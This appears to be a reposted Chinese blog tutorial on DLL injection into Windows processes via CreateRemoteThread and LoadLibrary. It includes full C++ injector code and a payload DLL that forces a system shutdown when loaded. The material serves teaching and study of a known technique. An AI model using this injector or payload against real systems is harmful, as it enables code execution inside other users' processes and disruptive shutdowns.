需要本文代码请直接跳到文章最底部下载
注入进程的方法有很多,本文主要介绍通过远程线程来注入进程的方法;
我们知道,每个进程都有4GB的地址空间,windows可用的大小大概为1.5GB左右,远程线程注入的方法主要是,打开一个线程以后,将要注入的动态库的地址写入这个地址空间,然后调用开启远程线程的函数,来执行LoadLibraryA或者LoadLibraryW(其实不存在LoadLibrary这个函数,他只是一个宏,如果是UNICODE环境的话会调用LoadLibraryW,否则就是LoadLibraryA)来执行这个动态库,动态库一旦被加载起来,DllMain中的DLL_PROCESS_ATTACH则会被执行,我们将要执行的代码写在DLL_PROCESS_ATTACH分支即可
下面开始通过代码来分析进程注入
1,需要打开一个我们想注入的进程,通过API OpenProcess 打开,这个函数第一个参数主要是打开函数以后希望获取到的权限,因为我们需要开辟一块内,所以我的设置如下PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,表示我可以在进程内对他的内存进行读写、查询等操作,第二个参数设置FALSE就好了,第三个是我们想打开的进程的ID,这个是进程的唯一的一个标识,打开以后,如果成功,返回的HANDLE不为空,如果调用getLaseError返回的错误码是5的话
表示权限不足,需要提权(代码里面有提权函数)
2,进程成功打开以后,我们就要在进程里面开辟一内存,写入一点东西,写入的东西就是我们需要执行的动态库的地址,前面说了,我们需要调用LoadLibraryW来执行一个动态库,那么就要把动态库的文件地址写入目标进程,因为进程之间的变量都是独立的,我们在目标进程是读取不到(暂时这么理解)当前进程的一些变量的值得,所以必须得把我们要执行的动态库的文件地址写入目标进程,这样LoadLibraryW
才能找到 我们的动态库在哪~
通过调用VirtualAllocEx来开辟内存,具体的参数解释可以查阅百度,如果,内存开辟成功了,我们就要开始往内存中写 需要用到WriteProcessMemory函数,第一个参数是进程的HANDLE,第二个参数是要写入的地址,就用VirtualAllocEx返回的内存地址就好了,然后是需要写入什么,写入多大等,写入的内容就是我们动态库的地址,大小就是这个地址的字符串的长度,比如我的动态库的地址是"c:\\DllTest2.dll"
这就是我写入的内容,长度调用下库函数就可以求出来了
3.上面两步都完成以后,就可以开始用GetProcAddress 来获取LoadLibraryW的地址了~ 一般写法如下PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW");
表示从Kernel32模块中,吧LoadLibraryW函数地址找出来,找出来以后,我们就需要开启一个远程线程,来执行我们的DLL,函数是CreateRemoteThread,这个函数跟CreateThrea就第一个参数不同,CreateRemoteThread第一个参数表示目标进程的HANLE,其他参数一样,线程的函数我们就写pfnStartAddr 也就是GetProcAddress的返回值(表示LoadLibraryW),线程的参数填写我们要注入的DLL地址即可,到这一步,运行代码,DLL已经可以成功的注入目标进程了(当然,最好做一些清理工作),贴下我的代码吧!
注入进程的代码
//szModel DLL的地址 nProcessID目标进程的ID
BOOL Ingect(LPCTSTR szModel , DWORD nProcessID)
{
EnableDebugPriv();
HANDLE open = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|
PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,
FALSE,nProcessID);
if(!open)
{
return FALSE;
}
int cbyte = (_tcslen(szModel)+1)*sizeof(TCHAR);
LPVOID pAddr = VirtualAllocEx(open,NULL,cbyte,MEM_COMMIT,PAGE_READWRITE);
if(!pAddr || !WriteProcessMemory(open,pAddr,szModel,cbyte,NULL))
{
return FALSE;
}
#ifdef _UNICODE
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW");
#else
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryA");
#endif
if(!pfnStartAddr)
{
return FALSE;
}
DWORD threadID;
HANDLE thread = CreateRemoteThread(open,NULL,0,pfnStartAddr,pAddr,0,&threadID);
WaitForSingleObject(thread,INFINITE);
VirtualFreeEx(open,pAddr,cbyte,MEM_COMMIT);
CloseHandle(thread);
CloseHandle(open);
return TRUE;
}
DLL代码 我只是简单的弹出一个提示框,然后就调用CMD命令关机,代码如下
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,TEXT("关机代码"),TEXT("关机代码"),0);
system("shutdown -s -t 10");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
下面是在我虚拟机执行的效果图:
附件为我的工程的全部代码,包含权限提升,通过进程名查找进程ID,不包含我之前写的DLL
http://www.bcwhy.com/thread-21532-1-1.html
C++进程注入(通过远程线程注入进程)
C++进程注入(通过远程线程注入进程),布布扣,bubuko.com